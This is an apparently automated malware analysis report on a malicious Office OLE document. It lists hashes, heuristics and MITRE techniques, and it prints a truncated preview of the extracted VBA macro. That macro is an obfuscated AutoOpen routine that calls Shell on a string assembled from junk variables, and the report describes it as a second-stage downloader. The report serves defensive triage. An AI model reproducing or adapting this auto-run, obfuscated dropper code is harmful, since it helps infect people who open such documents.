Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 510eca9cd6b87083…

MALICIOUS

Office (OLE)

128.1 KB First seen: 2017-11-29
MD5: 56d0a447202b1b50f8b05a8c2db18ab2 SHA-1: 0399e0802af5e3b10140256f423abe868f01bb4d SHA-256: 510eca9cd6b8708307a1710970cdd83e8b90ae1a6bd632348e2bb9804cf3d13c
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document with a high slack anomaly and detected VBA macros. The AutoOpen macro contains a call to Shell(), indicating it attempts to execute an external command. The script attempts to download and execute a second-stage payload, as evidenced by the Shell() call and the presence of a VBA macro file.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 131,224 bytes but its declared streams total only 35,348 bytes — 95,876 bytes (73%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38389 bytes
SHA-256: 4e630cfef2ef2c67fce7637870fab5fdbb89997509977dc4fbbfebf1aecc9f38
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 33 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QfbDBOJSu"
Sub AutoOpen()
rDiiKipRX = "qSVFCjzit" + "QsVYFYJpv" + "UutcZUzHI" + "mKZVFDwrz"
Shell$ TddTJwpWS, 0
wzEsiqGGU = "zTwGVVmUX" + "dNtAGvYNY" + "TunSbOYKp" + "rcLDVSAAn"
End Sub
Function TddTJwpWS()
UssOviBi = "6wjBOivEQTfuhmPjSzHcDDf4CkZOAL620ZEV3aszoViOKrt2iR"
CmDYsutaQ = Mid(UssOviBi, 3, 18)
tiPDkCD = Array("OUmODkaD", "HmaMOjXP", "odwvjtfG", "CWLhPzSf", "rQluEpuu")
bjCvh = Array("uiPSvdaI", "XaIvjUqU", "ojMjYsnJ", "TvVzzdKz", "iDABiNLY")
HLFCfd = Array("vCKpoXwW", "ZRFYcNWC", "rFwzIcLu", "QJMfTpqb", "VnlWizUv")
iGFwRhorvmv = "Ri7boNcZzHjDpYBctVKjktuVHsalnXwDSWkfBmVsWJvDBiXoYKzrpWRFNnLbmrlcKfkSoWaGzSNbzrUcVlMdaFOwFiSNbuFiYTsWtEACjqrXIqHWTiFBiHCFQoNJDMfEMiDiwzjQkKtjNrnPWvusoEzQQmFErrbb96jflZrbDqLiin"
DNPvDHkXJ = Mid(iGFwRhorvmv, 6, 153)
fwhPHPtS = Array("zwYfXmWU", "hwJYOLPS", "rPZfKQDj", "biDocATt", "lCzKEfWd")
mlcThjCijO = Array("mrwUfSMJ", "XSiSYplj", "uoEsjhsh", "fPmLMFOL", "svsSSiEI")
jdpspqaMI = Array("RtRKVBUv", "RQPPbiuF", "zQpPfBzS", "DTZdzSQM", "kvbqQiLd")
KCoinKFZn = "GqHjPYTzUd6h5zBHhc5MqHnJwbclmSrYzZaouIQhrdlBoqjD"
JplDcjvO = Mid(KCoinKFZn, 28, 18)
szHGvtOPYDa = Array("vrtvqwkO", "BnTBtodQ", "wwGCcrwz", "zDfjDEoR", "EMUnHBbF")
IkQSwUNm = Array("iKbJwOTv", "RKtRbJBD", "stvnSELz", "wBzhUpJu", "XATRPoAk")
cmNArTopa = Array("kkOsKWpv", "KRuNFomi", "wiLzRlab", "AzubqkoE", "tLDipTnc")
tGDZaa = "ii3KMH20kNojAojCLHfQljjESliUClIVCPhiitDZVcTwMpzcfETcEHLtSfudvICGZs83fi"
dhQnoiPBbYN = Mid(tGDZaa, 20, 46)
vQAwqPTDvN = Array("MCWDuvoi", "OoSkdDSw", "JmrKcOEa", "dqUulEof", "rikPPXhF")
jKjUJq = Array("LMNBRDap", "sEYDbdzz", "zwaEbtwJ", "zntuSDim", "FmwPBDIa")
QwThsflOQm = Array("PfCjjlEO", "jnSSzcdR", "PDBiJjWp", "Vmwoikwt", "nAowrQcO")
PVNXUN = "1zZCFiEdZnGtFVdsJaacVDMpHjSWPZZZVOzzPQcwvciWWWGBUuvJLdzXzPKMNmBzJvYqWdcswcjsUpSkcQCUdPNsObCzFPkJblNazPfqSCLiwHCIwZjzjjTuifcubcnircZ81zj7w6jK"
wjhTbAVo = Mid(PVNXUN, 12, 118)
XPicFr = Array("ifLfkPoc", "JhAzBiQj", "INKunPjw", "qYfzohaz", "bnvdUqEG")
ibIElIYQQzB = Array("zWfzjzrJ", "jFniFibS", "vMpMkrnb", "GBWOinOS", "IEwQkmPq")
zGZYukLapjp = Array("jWNjuwts", "MchIBsVG", "iDqiddaw", "qVVAlKiJ", "zwfNdEhK")
wrost = "fzLR2XRjcsnNkLCbDivHZuCffnZuSSrSnkPpPcrZpSfEmWMXirqDjUUhaHDEzXRJAUZzwMLbnWSHOwtJbBPaboiTQiOHZncRBVDRzMbRjPQNCNTbOtcvIriMmGjOzDCAp7iijhRN90rI4hrYs"
HumltzN = Mid(wrost, 6, 123)
ZorzbaXcM = Array("HdCGFGQQ", "iqijwjND", "wRsYatHB", "uYKCNHci", "WjbAbUqk")
tWTYhNXpwo = Array("EFRucBNQ", "lcRMLIjN", "WALhvODb", "ODKQFMbc", "aHUVbMZs")
znQIGRoJaO = Array("LuRkqQSO", "wNibIJpq", "CqjYrzKY", "AplDnOmJ", "bSVAzSlw")
cYvjFWT = "0HC4t3uvlFV4iPJECTVAFnQjaNSpjzkrstjqhLzRECjhVPZVkkJ9zzZ8w"
RkJiblMKv = Mid(cYvjFWT, 20, 21)
jQNKH = Array("lwTsiATR", "SiTkjABO", "jskAfOah", "aUApnotj", "FhnvdSpA")
FACtfzdD = Array("VTlJvBda", "RHREhkTW", "VmROAidi", "kjfwNGlQ", "CkfLdQlZ")
tvpIO = Array("qZYjWoBV", "ORZqBbzr", "qHYMVfMK", "VACzFHsF", "AsXaGwHw")
ERGFjipX = "nj2qGzMjqHvBNczsAiLnbFjGnADWQhGWLXMiucLisMMZqwZNwPGXwdKzYiWUWMQJBYpqQQwXWhuPsHPqapaBaiZiNPKLGqHjwDXRGjzjRAkU9qLQ7rSsjwU"
jjRJz = Mid(ERGFjipX, 8, 98)
zNitV = Array("hKjwjuPb", "koVWrZDL", "MNKVmEPH", "YUqIDZkt", "zciLvQdb")
Twmtlmd = Array("laNQmVNa", "oMNsllJd", "ubXMDGXL", "DbWOusPw", "jjkLrzVC")
mkNwjKqA = Array("GPTrLsHO", "SBQUtRXi", "CBNKzwjw", "wRJCAwmv", "GUFonjAK")
zFlVUL = "i85DcUz7EHCYHUVRzNijiHRzuGUfikENEVRSopKtoGTrTZAJRQNNnVLHbNHMDovnFpUmCCdKDlrXnZiUGKNRXrZjJKrahzqzLjliFOGPmCJCdnTCjmGsbdQOQlcsLCcGvrMHnAPrDwiUhWFWqprvqzYhPXHUr"
vLzQvWScnKz = Mid(zFlVUL, 11, 144)
jTcTKZ = Array("UIvtbvCS", "MGIplLDI", "jXuujFNU", "PVNYLjrW", "BCqqCmVB")
BddMFdlBz = Array("OqqupwKv", "QzEQmFbO", "uadFhiGc", "PmoiUNFw", "BsfsPTfS")
ZVjuAdjC = Array("LRHNibjv", "bbwbJPTk", "jNiCIbaD", "sHOtajza", "vKuQWtwo")
IFmcWJcowYq = "1wXvRwuoiqwuNih8Q6wXLmKandXsNkKUIwD9j4hqVLWUQ"
iLjIGRQGd =
... (truncated)